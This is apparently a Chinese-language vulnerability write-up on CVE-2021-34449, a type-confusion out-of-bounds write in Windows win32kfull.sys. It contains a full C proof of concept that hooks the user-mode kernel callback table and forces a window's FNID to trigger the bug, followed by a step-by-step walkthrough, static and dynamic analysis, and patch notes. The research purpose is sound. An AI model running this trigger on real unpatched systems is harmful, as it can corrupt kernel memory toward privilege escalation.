CVE-2021-34449

CVE-2021-34449

九月 27, 2021

一、漏洞信息

1. 漏洞简述

win32kfull中一个类型混淆引发的越界写

  • 漏洞编号:CVE-2021-34449
  • 漏洞类型:越界写
  • 漏洞影响:本地提权

2. 组件概述

win32k 是一个负责管理窗口管理器(User)和图形设备接口(GDI)的内核模式驱动程序。

3. 漏洞利用

没有分析到利用的部分。

4. 漏洞影响

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34449

5. 解决方案

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34449

二、漏洞复现

1. 环境搭建

win10 1909 64位,更新到修复漏洞前一个版本

2. poc执行流程

完整poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#include <stdio.h>
#include <windows.h>

HWND g_hWnd = NULL;
HMODULE hWin32u = GetModuleHandleA("win32u.dll");
typedef ULONG_PTR(__fastcall* fnNtUserConsoleControl)(ULONG_PTR, PVOID, ULONG_PTR);
typedef ULONG_PTR(__fastcall* fnNtUserSetWindowFNID)(HWND, ULONG_PTR);
typedef BOOL(APIENTRY* NtUserCallHwndParamPtr)(HWND hWnd, DWORD value, DWORD func);
NtUserCallHwndParamPtr NtUserCallHwndParam = NULL;
fnNtUserConsoleControl pfnNtUserConsoleControl = (fnNtUserConsoleControl)GetProcAddress(hWin32u, "NtUserConsoleControl");

fnNtUserSetWindowFNID pfnNtUserSetWindowFNID = (fnNtUserSetWindowFNID)GetProcAddress(hWin32u, "NtUserSetWindowFNID");


#define CallSetDialogPointer 0x65

VOID xxxClientFreeWindowClassExtraBytesHook(PVOID MSG) {
ULONG64 ulArr[0x20] = { 0 };
ulArr[0] = (ULONG64)g_hWnd;
if ((*(HWND*)*(HWND*)MSG) == g_hWnd) {
puts("qaq");
NtUserCallHwndParam(g_hWnd, 0x01, CallSetDialogPointer);
}

}

VOID fnDWORDHook(PMSG MSG) {

;

}


VOID Hook_Func(VOID) {

DWORD OldProtect = 0;

BYTE* _teb = (BYTE*)__readgsqword(0x30);
PVOID* _peb = *(PVOID**)(_teb + 0x60);

PULONG64 CallbackTable = (PULONG64) * (ULONG64*)((ULONG64)_peb + 0x58);

VirtualProtect(CallbackTable, 0x1000, 0x40, &OldProtect);

*(ULONG64*)((ULONG64)CallbackTable + 0x08 * 0x02) = (ULONG64)fnDWORDHook;

*(ULONG64*)((ULONG64)CallbackTable + 0x08 * 0x7C) = (ULONG64)xxxClientFreeWindowClassExtraBytesHook;

VirtualProtect(CallbackTable, 0x1000, OldProtect, &OldProtect);

}

int main(int argc, char* argv[]) {

WNDCLASS wc = { 0 };
wc.cbWndExtra = 0x30;
wc.lpfnWndProc = DefWindowProc;
wc.lpszClassName = (LPCWSTR)0xc01f;

RegisterClass(&wc);

NtUserCallHwndParam = (NtUserCallHwndParamPtr)GetProcAddress(GetModuleHandle(L"win32u"), "NtUserCallHwndParam");

g_hWnd = CreateWindow(wc.lpszClassName, NULL, 0, 0, 0, 100, 100, NULL, NULL, NULL, NULL);

SetWindowLongA(g_hWnd, 0, (ULONG)g_hWnd);

Hook_Func();

pfnNtUserSetWindowFNID(g_hWnd, 0x2A4);

DestroyWindow(g_hWnd);

return 0;
}

注册窗口类,额外内存大小为0x30

1
2
3
4
5
6
WNDCLASS wc = { 0 };
wc.cbWndExtra = 0x30;
wc.lpfnWndProc = DefWindowProc;
wc.lpszClassName = (LPCWSTR)0xc01f;

RegisterClass(&wc);

获取win32u!NtUserCallHwndParam函数地址

1
NtUserCallHwndParam = (NtUserCallHwndParamPtr)GetProcAddress(GetModuleHandle(L"win32u"), "NtUserCallHwndParam");

创建窗口,将窗口句柄用SetWindowLongA函数写到额外内存中

1
2
3
g_hWnd = CreateWindow(wc.lpszClassName, NULL, 0, 0, 0, 100, 100, NULL, NULL, NULL, NULL);

SetWindowLongA(g_hWnd, 0, (ULONG)g_hWnd);

​ hook 回调函数表,xxxClientFreeWindowClassExtraBytesHook函数通过调用NtUserCallHwndParam用对应的调用号来调用SetDialogPointer函数,fnDWORD函数则被替换成空函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#define CallSetDialogPointer 0x65

VOID xxxClientFreeWindowClassExtraBytesHook(PVOID MSG) {
ULONG64 ulArr[0x20] = { 0 };
ulArr[0] = (ULONG64)g_hWnd;
if ((*(HWND*)*(HWND*)MSG) == g_hWnd) {
puts("qaq");
NtUserCallHwndParam(g_hWnd, 0x01, CallSetDialogPointer);
}

}

VOID fnDWORDHook(PMSG MSG) {

;

}

VOID Hook_Func(VOID) {

DWORD OldProtect = 0;

BYTE* _teb = (BYTE*)__readgsqword(0x30);
PVOID* _peb = *(PVOID**)(_teb + 0x60);

PULONG64 CallbackTable = (PULONG64) * (ULONG64*)((ULONG64)_peb + 0x58);

VirtualProtect(CallbackTable, 0x1000, 0x40, &OldProtect);

*(ULONG64*)((ULONG64)CallbackTable + 0x08 * 0x02) = (ULONG64)fnDWORDHook;

*(ULONG64*)((ULONG64)CallbackTable + 0x08 * 0x7C) = (ULONG64)xxxClientFreeWindowClassExtraBytesHook;

VirtualProtect(CallbackTable, 0x1000, OldProtect, &OldProtect);

}

设置窗口对象的的 FNID 值为 0x2a4(dialog),该值标识了窗口的状态和类型,这里强行设置了该标识导致类型混淆,之后销毁窗口,触发hook掉的xxxClientFreeWindowClassExtraBytesHook函数从而调用SetDialogPointer函数触发漏洞

1
2
3
pfnNtUserSetWindowFNID(g_hWnd, 0x2A4);

DestroyWindow(g_hWnd);

三、漏洞分析

1. 基本信息

  • 漏洞文件:win32kfull.sys

  • 漏洞函数:

    win32kfull!NtUserSetWindowFNID 函数检查不严谨

  • 漏洞对象:tagWND

2. 背景知识

tagWND 有个 FNID 字段标识了窗口的类型和状态,还有个额外内存空间。

3. 详细分析

1. 基础分析

poc 所描述的问题是“pwnd”变量已传递给 SetDialogPointer 函数,并且不安全地转换为 PDIALOG,但没有正确的结构。 然后写入 pdlg 成员,越界写入 8 个字节,但我觉得不大对劲,虽然存在类型混淆没有正确结构的问题,但这里因为对齐的原因,pdlg 处分配的内存是比需要的要多 8 字节的,所以不存在越界,暂且当作越界了分析,若有师傅知道问题所在还望指点。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
BOOL SetDialogPointer(
    PWND pwnd,
    LONG_PTR lPtr)
{
    PDIALOG pdialog;
...
    pdialog = UNSAFE_CAST_FNID_ZERO(PDIALOG)(pwnd);

    if (pdialog) {
        __try {
            pdialog->pdlg = (PDLG)lPtr;
        }__except (W32ExceptionHandler(FALSE, RIP_WARNING)) {
        }
...
}

2. 静态分析

1. 函数调用链

带额外内存的窗口创建:

设置 FNID:

NtUserSetWindowFNID -> win32u!NtUserSetWindowFNID -> win32kfull!NtUserSetWindowFNID

触发:

DestroyWindow -> USER32!NtUserDestroyWindow -> win32kfull!NtUserDestroyWindow
调用 hook 的回调函数xxxClientFreeWindowClassExtraBytesHook-> win32u!NtUserCallHwndParam -> win32kfull!NtUserCallHwndParam -> win32kfull!SetDialogPointer

2. 补丁Diff

补丁在NtUserSetWindowFNID中加入了新的对额外内存的检查,来阻止不合法地修改 FNID 的行为:

新版补丁中该补丁位置如下

2. 漏洞函数分析

win32kfull!NtUserSetWindowFNID 函数检查不完善

该函数经过一些检查后将 tagWND 的 FNID 设置成传入的参数,但其检查并不严格,没有检查额外内存,下图中该偏移处即为 FNID。

win32kfull!SetDialogPointer 函数触发越界写

该函数把 tagWND 不安全地转换成 PDIALOG,却没有 dialog 的结构,之后把传入参数 a2 写入到 dialog+8 的位置,造成越界。

该转换函数检查了传入指针是否为空,FNID 是否为 dialog,最后返回 *(tagWND+0x118),经调试得知该处字段只有8字节,值与额外内存的前8字节相同,这个结构有什么意义不清楚。

3. 动态分析

unsafe_cast_fnid_zero_to_PDIALOG转换出的指针指向地址的值是这个

这里该值是窗口的句柄,经调试得知该值其实是 poc 中

1
SetWindowLongA(g_hWnd, 0, (ULONG)g_hWnd);

设置的,将句柄写入额外内存,4字节,偏移为0,将偏移改为4,值改为0xaaaaaaaa后此处的值也随之改变。

但再增加偏移位数该值就不会写入到该位置

得知该处字段大小为8字节,值为额外内存的前8字节的值。

unsafe_cast_fnid_zero_to_PDIALOG函数返回一个PDIALOG指向此处,并按照dialog的结构写入数据到+0x8处,发生越界写,而且写入的值是作为参数传入,是可控的。

但是该越界写覆盖的是什么数据我不清楚。

另外fnDWORD回调函数会影响可控参数的传入,所以要将其 hook 为空函数,其中缘由我也没有分析清楚。

四、缓解措施

更新了补丁之后发现传入参数正常却无法正确写入,往上回溯发现是 FNID 没有正常设置,跟进到win32kfull!NtUserSetWindowFNID中发现被这个检查拦住了

ida 静态查看就是前面静态分析图中的部分,对比补丁之前发现这里是多出来的,看函数名猜测是对额外内存相关检测,手动写入FNID 后续过程可以正常执行,于是确定这里是新加的针对此漏洞的补丁。

五、参考文献

网上各种与之沾边的文献